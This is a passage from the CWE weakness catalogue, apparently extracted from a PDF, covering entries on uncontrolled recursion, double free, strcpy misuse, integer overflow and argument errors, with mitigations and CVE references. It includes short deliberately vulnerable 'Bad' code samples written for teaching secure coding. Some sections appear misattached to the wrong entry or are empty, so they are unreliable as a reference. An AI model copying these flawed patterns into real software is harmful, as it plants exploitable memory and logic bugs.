Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1466
ParentOf	B	426	Untrusted Search Path	1036

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

Example 2:

In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

Observed Examples

Reference	Description
CVE-2008-2613	setuid program allows compromise using path that finds and loads a malicious library. *https://www.cve.org/CVERecord?id=CVE-2008-2613*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2453
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

CWE-674: Uncontrolled Recursion

Weakness ID : 674
Structure : Simple
Abstraction : Class

Description

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	834	Excessive Iteration	1767
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1645

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1645

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Stack Exhaustion :

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.*	
Confidentiality	Read Application Data *In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's memory_limit setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Ensure an end condition will be reached under all logic conditions. The end condition may include testing against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Effectiveness = Moderate

Phase: Implementation

Increase the stack size.

Effectiveness = Limited

Increasing the stack size might only be a temporary measure, since the stack typically is still not very large, and it might remain easy for attackers to cause an out-of-stack fault.

Demonstrative Examples

Example 1:

In this example a mistake exists in the code where the exit condition contained in flg is never called. This results in the function calling itself over and over again until the stack is exhausted.

Example Language: C *(Bad)*

```
void do_something_recursive (int flg)
{
  ... // Do some real work here, but the value of flg is unmodified
  if (flg) { do_something_recursive (flg); } // flg is never modified so it is always TRUE - this call will continue until the stack explodes
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive call to return.

Example Language: C *(Good)*

```
void do_something_recursive (int flg)
{
  ... // Do some real work here
  // Modify value of flg on done condition
  if (flg) { do_something_recursive (flg); } // returns when flg changes to 0
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Observed Examples

Reference	Description
CVE-2007-1285	Deeply nested arrays trigger stack exhaustion. *https://www.cve.org/CVERecord?id=CVE-2007-1285*
CVE-2007-3409	Self-referencing pointers create infinite loop and resultant stack exhaustion. *https://www.cve.org/CVERecord?id=CVE-2007-3409*
CVE-2016-10707	Javascript application accidentally changes input in a way that prevents a recursive call from detecting an exit condition. *https://www.cve.org/CVERecord?id=CVE-2016-10707*
CVE-2016-3627	An attempt to recover a corrupted XML file infinite recursion protection counter was not always incremented missing the exit condition. *https://www.cve.org/CVERecord?id=CVE-2016-3627*
CVE-2019-15118	USB-audio driver's descriptor code parsing allows unlimited recursion leading to stack exhaustion. *https://www.cve.org/CVERecord?id=CVE-2019-15118*

CWE-675: Multiple Operations on Resource in Single-Operation Context

Weakness ID : 675
Structure : Simple
Abstraction : Class

Description

The product performs the same operation on a resource two or more times, when the operation should only be applied once.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1309
ParentOf	V	174	Double Decoding of the Same Data	443

Nature	Type	ID	Name	Page
ParentOf	V	605	Multiple Binds to the Same Port	1367
ParentOf	B	764	Multiple Locks of a Critical Resource	1616
ParentOf	B	765	Multiple Unlocks of a Critical Resource	1617
ParentOf	B	1341	Multiple Releases of Same Resource or Handle	2263
PeerOf	V	102	Struts: Duplicate Validation Forms	252
PeerOf	B	586	Explicit Call to Finalize()	1331
PeerOf	V	85	Doubled Character XSS Manipulations	192

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2:

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

Example Language: C *(Bad)*

```
void bind_socket(void) {
  int server_sockfd;
  int server_len;
  struct sockaddr_in server_address;
  /*unlink the socket if already bound to avoid an error when bind() is called*/
  unlink("server_socket");
  server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
  server_address.sin_family = AF_INET;
  server_address.sin_port = 21;
  server_address.sin_addr.s_addr = htonl(INADDR_ANY);
  server_len = sizeof(struct sockaddr_in);
  bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

Observed Examples

Reference	Description
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice *https://www.cve.org/CVERecord?id=CVE-2009-0935*
CVE-2019-13351	file descriptor double close can cause the wrong file to be associated with a file descriptor. *https://www.cve.org/CVERecord?id=CVE-2019-13351*
CVE-2004-1939	XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F) *https://www.cve.org/CVERecord?id=CVE-2004-1939*

MemberOf Relationships

MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	2448
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

CWE-676: Use of Potentially Dangerous Function

Weakness ID : 676
Structure : Simple
Abstraction : Base

Description

The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode Quality Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger Cost effective for partial coverage: Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags Source Code Quality Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Build and Compilation

Phase: Implementation

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [REF-554] [REF-7]

Demonstrative Examples

Example 1:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

Example Language: C *(Bad)*

```
void manipulate_string(char * string){
  char buf[24];
  strcpy(buf, string);
  ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Observed Examples

Reference	Description
CVE-2007-1470	Library has multiple buffer overflows using sprintf() and strcpy() *https://www.cve.org/CVERecord?id=CVE-2007-1470*
CVE-2009-3849	Buffer overflow using strcat() *https://www.cve.org/CVERecord?id=CVE-2009-3849*

MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

Notes

Relationship

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Dangerous Functions
CERT C Secure Coding	CON33-C	CWE More Abstract	Avoid race conditions when using library functions
CERT C Secure Coding	ENV33-C	CWE More Abstract	Do not call system()
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ERR34-C	CWE More Abstract	Detect errors when converting a string to a number
CERT C Secure Coding	FIO01-C		Be careful using functions that use file names for identification
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
Software Fault Patterns	SFP3		Use of an improper API

CWE-680: Integer Overflow to Buffer Overflow

Weakness ID : 680
Structure : Chain
Abstraction : Compound

Description

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

Chain Components

Nature	Type	ID	Name	Page
StartsWith	B	190	Integer Overflow or Wraparound	478
FollowedBy	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	190	Integer Overflow or Wraparound	478

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C *(Bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Observed Examples

Reference	Description
CVE-2021-43537	Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122) *https://www.cve.org/CVERecord?id=CVE-2021-43537*
CVE-2017-1000121	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). *https://www.cve.org/CVERecord?id=CVE-2017-1000121*

CWE-681: Incorrect Conversion between Numeric Types

Weakness ID : 681
Structure : Simple
Abstraction : Base

Description

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	136	Type Errors	2347
MemberOf	C	189	Numeric Errors	2349

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Unexpected State Quality Degradation *The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.*	

Potential Mitigations

Phase: Implementation

Avoid making conversion between numeric types. Always check for the allowed ranges.

Demonstrative Examples

Example 1:

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

Example Language: Java *(Bad)*

```
int i = (int) 33457.8f;
```

Example 2:

This code adds a float and an integer together, casting the result to an integer.

Example Language: PHP *(Bad)*

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences.

Example 3:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

Example Language: C *(Bad)*

```
unsigned int readdata () {
  int amount = 0;
  ...
  if (result == ERROR)
  amount = -1;
  ...
  return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 4:

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

Example Language: C *(Bad)*

```
unsigned int readdata () {
  int amount = 0;
  ...
  amount = accessmainframe();
  ...
  return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Observed Examples

Reference	Description
CVE-2022-2639	Chain: integer coercion error (CWE-192) prevents a return value from indicating an error, leading to out-of-bounds write (CWE-787) *https://www.cve.org/CVERecord?id=CVE-2022-2639*
CVE-2021-43537	Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122) *https://www.cve.org/CVERecord?id=CVE-2021-43537*

CWE-682: Incorrect Calculation

Weakness ID : 682
Structure : Simple
Abstraction : Pillar

Description

The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

Extended Description

When product performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.*	
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) Execute Unauthorized Code or Commands *If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).*	
Access Control	Gain Privileges or Assume Identity *In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.*	
Access Control	Bypass Protection Mechanism *If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the

tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Potential Mitigations

Phase: Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Phase: Implementation

Strategy = Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Phase: Architecture and Design

Strategy = Language Selection

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C ++) or IntegerLib (C or C++).

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C ++) or IntegerLib (C or C++).

Phase: Implementation

Strategy = Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C *(Bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

This code attempts to calculate a football team's average number of yards gained per touchdown.

Example Language: Java *(Bad)*

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C *(Bad)*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Observed Examples

CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID : 683
Structure : Simple
Abstraction : Variant

Description

The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1409

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Use the function, procedure, or routine as specified.

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

Example Language: PHP *(Bad)*

```
function authenticate($username, $password) {
  // authenticate user
  ...
}
authenticate($_POST['password'], $_POST['username']);
```

Observed Examples

Reference	Description
CVE-2006-7049	Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions. *https://www.cve.org/CVERecord?id=CVE-2006-7049*

MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

CWE-684: Incorrect Provision of Specified Functionality

Weakness ID : 684
Structure : Simple
Abstraction : Class

Description

The code does not function according to its published specifications, potentially leading to incorrect usage.

Extended Description

When providing functionality to an external party, it is important that the product behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Weakness Ordinalities

Indirect :

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Ensure that your code strictly conforms to specifications.

Demonstrative Examples

Example 1:

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

Example Language: Java *(Bad)*

```
try {
  // Something that may throw an exception.
  ...
} catch (Throwable t) {
  logger.error("Caught: " + t.toString());
  return;
}
```

Example 2:

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

Example Language: Java *(Bad)*

```
try {
  // something that might throw IOException
  ...
} catch (IOException ioe) {
  response.sendError(SC_NOT_FOUND);
}
```

Observed Examples

CWE-686: Function Call With Incorrect Argument Type

Weakness ID : 686
Structure : Simple
Abstraction : Variant

Description

The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

Extended Description

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1409
ParentOf	V	560	Use of umask() with chmod-style Argument	1285

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Manual Static Analysis

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples

Example 1:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Example Language: Perl *(Bad)*

```
sub ReportAuth {
```

```
    my ($username, $result, $fatal) = @_;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2383
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2414
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2450
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

Notes

Relationship

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM04-C		Do not perform zero length allocations
Software Fault Patterns	SFP24		Tainted input to command

CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID : 688
Structure : Simple
Abstraction : Variant

Description

The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1409

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Demonstrative Examples

Example 1:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Example Language: Java *(Bad)*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
   String[] userRoles = getUserRoles(user);
   return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
   // grant or deny access based on user roles
   ...
}
```

Observed Examples

CWE-690: Unchecked Return Value to NULL Pointer Dereference

Weakness ID : 690
Structure : Chain
Abstraction : Compound

Description

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

Chain Components

Nature	Type	ID	Name	Page
